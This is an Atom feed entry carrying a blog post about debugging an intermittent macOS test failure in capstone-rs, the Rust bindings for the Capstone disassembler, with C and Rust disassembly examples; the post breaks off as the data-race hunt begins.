<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>Travis Finkenauer&#x27;s Blog</title>
    <link rel="self" type="application/atom+xml" href="https://travisf.net/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://travisf.net"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2018-09-21T00:00:00+00:00</updated>
    <id>https://travisf.net/atom.xml</id>
    <entry xml:lang="en">
        <title>A Rust FFI adventure in unsafety</title>
        <published>2018-09-21T00:00:00+00:00</published>
        <updated>2018-09-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/capstone-rs-unsafety-adventure/"/>
        <id>https://travisf.net/blog/capstone-rs-unsafety-adventure/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/capstone-rs-unsafety-adventure/">&lt;p&gt;&lt;strong&gt;Recommended reading&lt;&#x2F;strong&gt;:
&lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;book&#x2F;ch04-00-understanding-ownership.html&quot;&gt;ownership&lt;&#x2F;a&gt;,
&lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;book&#x2F;ch19-01-unsafe-rust.html&quot;&gt;unsafe Rust&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;a class=&quot;zola-anchor&quot; href=&quot;#introduction&quot; aria-label=&quot;Anchor link for: introduction&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;This blog post covers my adventure in fixing a bug in the Rust bindings for the
&lt;a href=&quot;https:&#x2F;&#x2F;www.capstone-engine.org&#x2F;&quot;&gt;Capstone C library&lt;&#x2F;a&gt;,
a disassembly library that supports several CPU architectures.
The &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&quot;&gt;capstone-rs&lt;&#x2F;a&gt; crate attempts to provide a Rusty, object-oriented interface.&lt;&#x2F;p&gt;
&lt;p&gt;You do not necessarily need previous experience in &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;C_(programming_language)&quot;&gt;C code&lt;&#x2F;a&gt;
or &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;ffi.html&quot;&gt;foreign function (FFI)&lt;&#x2F;a&gt;
bindings to understand this blog post.&lt;&#x2F;p&gt;
&lt;p&gt;I will cover some of the steps I used to debug this problem.
Hopefully, readers can learn from my mistakes.&lt;&#x2F;p&gt;
&lt;p&gt;Some code snippets have been simplified.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;capstone-intro&quot;&gt;Capstone intro&lt;a class=&quot;zola-anchor&quot; href=&quot;#capstone-intro&quot; aria-label=&quot;Anchor link for: capstone-intro&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;In order to make it easier to understand the discussion, I&#x27;ll give a brief overview of Capstone and &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&quot;&gt;capstone-rs&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Capstone interprets an array of bytes as an array of instructions, providing information such as the address of the instruction, which registers are written, and information about the operands.&lt;&#x2F;p&gt;
&lt;p&gt;Capstone does &lt;em&gt;not&lt;&#x2F;em&gt; parse executable file formats such as
&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Executable_and_Linkable_Format&quot;&gt;ELF&lt;&#x2F;a&gt;,
&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Mach-O&quot;&gt;Mach-O&lt;&#x2F;a&gt;, or
&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Portable_Executable&quot;&gt;PE&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;architecture&quot;&gt;Architecture&lt;a class=&quot;zola-anchor&quot; href=&quot;#architecture&quot; aria-label=&quot;Anchor link for: architecture&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The code we are discussing is broken into three parts (from lowest level to highest level):&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;aquynh&#x2F;capstone&quot;&gt;Capstone&lt;&#x2F;a&gt;: base C library that provides functionality (I am not a maintainer of this library)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-sys&quot;&gt;capstone-sys&lt;&#x2F;a&gt;: low-level Rust bindings (contains unsafe &lt;code&gt;external&lt;&#x2F;code&gt; function definitions and types)
&lt;ul&gt;
&lt;li&gt;Contains a captive version of the Capstone C library that is built with the Rust code&lt;&#x2F;li&gt;
&lt;li&gt;Talks directly to the C library&lt;&#x2F;li&gt;
&lt;li&gt;Exposes Rust types that correspond directly to the C types&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&quot;&gt;capstone-rs&lt;&#x2F;a&gt;: high-level Rust bindings (contains a safe, &quot;Rustic&quot; object-oriented interface)
&lt;ul&gt;
&lt;li&gt;Talks directly to capstone-sys&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;When I refer to &quot;Capstone&quot; or &quot;the C code&quot;, I am referring to the base C library.
When I refer to &quot;the Rust code&quot;, I usually mean capstone-rs (unless otherwise specified).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;capstone-examples&quot;&gt;Capstone examples&lt;a class=&quot;zola-anchor&quot; href=&quot;#capstone-examples&quot; aria-label=&quot;Anchor link for: capstone-examples&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The general workflow for Capstone C interface is:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Get a Capstone handle&lt;&#x2F;li&gt;
&lt;li&gt;Disassemble instructions in a buffer&lt;&#x2F;li&gt;
&lt;li&gt;Close handle, freeing resources&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Both example programs below disassemble an array of X86_64 instructions.
The programs output the following:&lt;&#x2F;p&gt;
&lt;!-- START: example1-output --&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;count = 4
&lt;&#x2F;span&gt;&lt;span&gt;0x1000: push   rbp
&lt;&#x2F;span&gt;&lt;span&gt;0x1001: mov    rax, qword ptr [rip + 0x13b8]
&lt;&#x2F;span&gt;&lt;span&gt;0x1008: jmp    0x8ae21
&lt;&#x2F;span&gt;&lt;span&gt;0x100d: xor    r12d, r12d
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;!-- END: example1-output --&gt;
&lt;p&gt;&lt;strong&gt;C example&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;!-- START: c-example1 --&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdio.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;inttypes.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;capstone&#x2F;capstone.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;X86_CODE \
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\x14\x9e\x08\x00\x45\x31\xe4&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    csh handle;
&lt;&#x2F;span&gt;&lt;span&gt;    cs_insn *insn;
&lt;&#x2F;span&gt;&lt;span&gt;    size_t count;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; rc = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Get handle to Capstone library
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs_open&lt;&#x2F;span&gt;&lt;span&gt;(CS_ARCH_X86, CS_MODE_64, &amp;amp;handle) != CS_ERR_OK) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; turn ON extra detail
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs_option&lt;&#x2F;span&gt;&lt;span&gt;(handle, CS_OPT_DETAIL, CS_OPT_ON);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; disassemble instructions
&lt;&#x2F;span&gt;&lt;span&gt;    count = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs_disasm&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        handle, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Capstone handle
&lt;&#x2F;span&gt;&lt;span&gt;        (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span&gt;uint8_t *) X86_CODE, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; byte array to disassemble
&lt;&#x2F;span&gt;&lt;span&gt;        sizeof(X86_CODE)-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; length of byte array
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; disassemble as many instructions as possible
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;amp;insn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; reference to output
&lt;&#x2F;span&gt;&lt;span&gt;        );
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(count &amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;count = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%zu&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, count);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(size_t i = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i &amp;lt; count; i++) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0x%&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;PRIx64&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%-6s %s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;                insn[i].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;address&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;                insn[i].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mnemonic&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;                insn[i].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;op_str&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs_free&lt;&#x2F;span&gt;&lt;span&gt;(insn, count);
&lt;&#x2F;span&gt;&lt;span&gt;    } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ERROR: Failed to disassemble given code!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;        rc = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs_close&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;handle);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; rc;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;!-- END: c-example1 --&gt;
&lt;p&gt;&lt;strong&gt;Rust example&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;!-- START: rust-example1 --&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;extern crate&lt;&#x2F;span&gt;&lt;span&gt; capstone;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;capstone::prelude::*;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;X86_CODE&lt;&#x2F;span&gt;&lt;span&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;&amp;#39;static &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span&gt;] =
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\x14\x9e\x08\x00\x45\x31\xe4&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; cs = Capstone::new()  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Call builder-pattern
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;x86&lt;&#x2F;span&gt;&lt;span&gt;()  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; X86 architecture
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;mode&lt;&#x2F;span&gt;&lt;span&gt;(arch::x86::ArchMode::Mode64)  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; 64-bit mode
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;detail&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;)  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Generate extra instruction details
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;build&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;expect&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Failed to create Capstone object&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Get disassembled instructions
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; insns = cs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;disasm_all&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;X86_CODE&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;expect&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Failed to disassemble&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;count = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, insns.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;());
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; insn in insns.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;iter&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;        println!(
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{:x}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{:6} {}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;            insn.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;address&lt;&#x2F;span&gt;&lt;span&gt;(),
&lt;&#x2F;span&gt;&lt;span&gt;            insn.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;mnemonic&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;unwrap_or&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&amp;quot;),
&lt;&#x2F;span&gt;&lt;span&gt;            insn.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;op_str&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;unwrap_or&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        );
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; No explicit free() needed
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Capstone::drop() calls cs_close()
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;!-- END: rust-example1 --&gt;
&lt;h1 id=&quot;initial-analysis&quot;&gt;Initial analysis&lt;a class=&quot;zola-anchor&quot; href=&quot;#initial-analysis&quot; aria-label=&quot;Anchor link for: initial-analysis&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;A &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&#x2F;pull&#x2F;23&quot;&gt;pull-request&lt;&#x2F;a&gt; first alerted to me that &lt;code&gt;cargo test&lt;&#x2F;code&gt; failed &lt;em&gt;sometimes&lt;&#x2F;em&gt; on Mac OS.
An example failure:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ cargo test
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_instruction_group_ids ... FAILED
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;failures:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;---- test::test_instruction_group_ids stdout ----
&lt;&#x2F;span&gt;&lt;span&gt;        thread &amp;#39;test::test_instruction_group_ids&amp;#39; panicked at &amp;#39;Expected groups {1} does NOT match computed insn groups {110} with &amp;#39;, src&#x2F;lib.rs:287:8
&lt;&#x2F;span&gt;&lt;span&gt;note: Run with `RUST_BACKTRACE=1` for a backtrace.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I was unable to reproduce the bug on my GNU&#x2F;Linux development machine (even after a thousand iterations of &lt;code&gt;cargo test&lt;&#x2F;code&gt;).
I needed a Mac to reproduce the bug.&lt;&#x2F;p&gt;
&lt;p&gt;I first reproduced the bug with my brother-in-law (he provided the Mac computer).
This was indeed the worst type of bug; the bug only showed up &lt;em&gt;sometimes&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;hunt-for-the-data-race&quot;&gt;Hunt for the data race&lt;a class=&quot;zola-anchor&quot; href=&quot;#hunt-for-the-data-race&quot; aria-label=&quot;Anchor link for: hunt-for-the-data-race&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;One case where tests fail only sometimes is a &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Race_condition&quot;&gt;race condition&lt;&#x2F;a&gt;.
One type of race condition is a &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;races.html&quot;&gt;data race&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Data races require:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;More than one thread accessing the same memory location at the same time&lt;&#x2F;li&gt;
&lt;li&gt;At least one of the threads is writing to the memory location&lt;&#x2F;li&gt;
&lt;li&gt;At least one of the threads is not correctly &quot;synchronizing&quot; around the memory access&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;I started by reading over the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&quot;&gt;capstone-rs&lt;&#x2F;a&gt; Rust code but did not find a problem.
